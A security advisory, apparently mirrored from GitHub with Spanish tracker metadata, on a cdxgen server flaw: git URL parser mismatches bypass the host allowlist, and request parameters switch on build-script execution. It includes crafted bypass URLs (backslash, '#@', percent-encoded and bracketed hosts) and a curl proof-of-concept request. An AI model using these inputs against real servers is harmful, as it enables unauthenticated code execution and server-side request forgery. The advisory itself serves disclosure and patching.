GHSA-259H-C659-9X53
Git host allowlist bypass and request option override let unauthenticated clients run build scripts in cdxgen server mode
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:N/SA:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-259H-C659-9X53 divulgada · CVSS 9.2 (GitHub) | |
| Remediación | Parche 12.8.7 | @cyclonedx/cdxgen · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
An unauthenticated client of the cdxgen HTTP server (`cdxgen --server`) could get past the git host allowlist and make the server clone a repository from any host. The same client could then turn on `deep` or `installDeps` for the request, which runs the cloned project's build scripts as the server user. This works even when the operator runs the server in secure mode, under the Node.js permission model, with `CDXGEN_SERVER_ALLOWED_HOSTS` set and with `--no-install-deps`. The allowlist bypass is also a server-side request forgery primitive towards internal hosts and ports.
Details
Git host allowlist bypass. `validateAndRejectGitSource()` parsed the requested URL with the WHATWG `new URL()` parser and compared its `hostname` with the allowlist, but `gitClone()` handed the original string to git. The two parsers disagree on several inputs. For http and https URLs, `new URL()` treats a backslash as a path separator, so `https://allowed.example\@attacker.example/repo.git` has hostname `allowed.example`, while libcurl reads `allowed.example\` as the user name and connects to `attacker.example`. For `ssh://` and `git://` URLs, git ends the authority only at the first slash and OpenSSH takes the host after the last `@`, so `ssh://allowed.example#@attacker.example/repo.git` (or `?@`) connects to `attacker.example`. git also percent-decodes `ssh://` and `git://` URLs before it splits off the host, and reads a leading `[...]` in the authority as the host, so `ssh://attacker.example%2F@allowed.example/repo.git` and `ssh://[attacker.example]:@allowed.example/repo.git` reach the attacker's host too. The same check guarded repository URLs resolved from package registry metadata for `pkg:` sources, so a package whose `repository.url` uses one of these forms bypassed the allowlist without any crafted request. The predictive audit (`cdx-audit`) cloned registry repository URLs without calling the check at all.
Request options override the operator's policy. The `/sbom` handler copied every key in `ALLOWED_PARAMS` from the query string or JSON body over the options the server was started with, including `installDeps`, `deep`, `lifecycle` and `profile`. A request could therefore set `deep=true` (directly or through `profile=appsec` or `profile=research`) or `installDeps=true` regardless of secure mode or `--no-install-deps`. With `type=rust&deep=true` the server runs `cargo check --all-features`, which compiles and runs the project's `build.rs`. Sending `installDeps=` (an empty value) or `0` also passed gates that test `installDeps !== false`, which let a repository's own `mvnw`, `gradlew` or `mill` launcher run.
Related issues found while fixing this. A review of the same code paths found more ways for a request or a scanned repository to widen what the server does. Project types such as `os`, `hbom`, `vscode-extension`, `chrome-extension`, `agentic` and the Maven, Gradle, sbt, Cargo and Helm cache types inventory the server host rather than the scan path, so a request could read the host's users, processes, shell history and caches. A request could name its own Dependency-Track `serverUrl`, which sent the generated BOM, and the operator's API key when one was configured, to any host unless `CDXGEN_ALLOWED_HOSTS` was set. A single failing request could stop the server through `failOnError`, and an `exclude` pattern such as `{1..100000}` could keep it busy for minutes. A symlinked scan path could point outside `CDXGEN_ALLOWED_PATHS`, and cloned repositories could contain symlinks to files on the server. The HTTP client followed redirects without checking `CDXGEN_ALLOWED_HOSTS` on each hop and forwarded registry API keys across origins. Image references in scanned docker-compose and Kubernetes files could name local archives outside the allowed paths or registries outside the allowlist. `ls-remote` ran inside the scanned repository, where its `url.*.insteadOf` and `core.sshCommand` settings applied. `CDXGEN_INTROSPECT` let a secure-mode scan run project wrappers, and several other `--no-install-deps` gates had gaps.
Proof of concept
The reporter started the server in secure mode:
CDXGEN_SECURE_MODE=true \
CDXGEN_SERVER_ALLOWED_HOSTS=company-private-git.com \
CDXGEN_SERVER_ALLOWED_PATHS=/srv/cdxgen-scans \
CDXGEN_TEMP_DIR=/tmp/cdxgen-temp \
CDXGEN_ALLOWED_COMMANDS=git,cargo \
node --permission --allow-fs-read=... --allow-fs-write=... --allow-child-process \
bin/cdxgen.js --server --server-host 127.0.0.1 --server-port 9393 --no-install-depsand sent a request for a Rust repository on another host whose `build.rs` runs a command:
curl 'http://127.0.0.1:9393/sbom?url=https://company-private-git.com%5C%40github.com/<user>/<repo>.git&type=rust&installDeps=true&deep=true'The server cloned the repository from github.com and ran `build.rs`. We reproduced both halves independently on the master branch before the fix: the allowlist check accepts the URL while git connects to the other host, and `deep=true` on a local path makes a benign `build.rs` write a marker file.
Impact
Anyone who can reach the server's port can make it clone from any host and run code from that repository as the server user, given that the operator allowed the matching build tool in `CDXGEN_ALLOWED_COMMANDS`, which a Rust, Java, Python or JavaScript scan needs anyway. Child processes are not bound by the Node.js permission model. Without code execution, the bypass still lets a client make the server open connections to arbitrary hosts and ports, read host inventory, send BOMs to arbitrary hosts, or stop the server.
Patches
Fixed in `@cdxgen/cdxgen` 13.5.0 and `@cyclonedx/cdxgen` 12.8.7. The git check now reads the host the way git, libcurl and OpenSSH do and rejects any remote where that differs from what `new URL()` reports, `gitClone()` refuses remotes that fail it, and clones use `core.symlinks=false`. In secure mode or after `--no-install-deps`, a request can turn `installDeps` and `deep` off but never on. The server refuses host-wide project types it was not started with, brace exclude patterns, a `serverUrl` that would receive the operator's API key, and paths whose real location is outside the allowlist. Redirects are checked hop by hop. The full list is in the release notes.
Workarounds
Do not expose the cdxgen server to untrusted clients; it has no authentication. If you cannot upgrade, put it behind a reverse proxy that only forwards requests from trusted callers and drops the `installDeps`, `deep`, `profile`, `lifecycle`, `type`, `exclude`, `serverUrl` and `apiKey` parameters, and remove build tools such as `cargo`, `mvn`, `gradle`, `npm` and `pip` from `CDXGEN_ALLOWED_COMMANDS`.
Credits
Reported by @varandaa.
References
- Fix for 13.x: https://github.com/cdxgen/cdxgen/pull/4524 (commits https://github.com/cdxgen/cdxgen/commit/183791620e98e26cfb4f55b9e027f547e50326ca and https://github.com/cdxgen/cdxgen/commit/4e8bd15ce1315cf35a9423382dd7961654357867)
- Backport to 12.8.7: https://github.com/cdxgen/cdxgen/pull/4525 (commits https://github.com/cdxgen/cdxgen/commit/423254f808072018e2171d3aa4a457ee76448f12 and https://github.com/cdxgen/cdxgen/commit/81b02fae47995a933f13af1f6f990931cbeb26cd)
- Release 12.8.7: https://github.com/cdxgen/cdxgen/releases/tag/v12.8.7
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npm@cyclonedx/cdxgen |
Corregida | 12.8.7 | 0 d | 12.9.2 no afectada |
12.8.713.5.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/cdxgen/cdxgen/security/advisories/GHSA-259h-c659-9x53Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
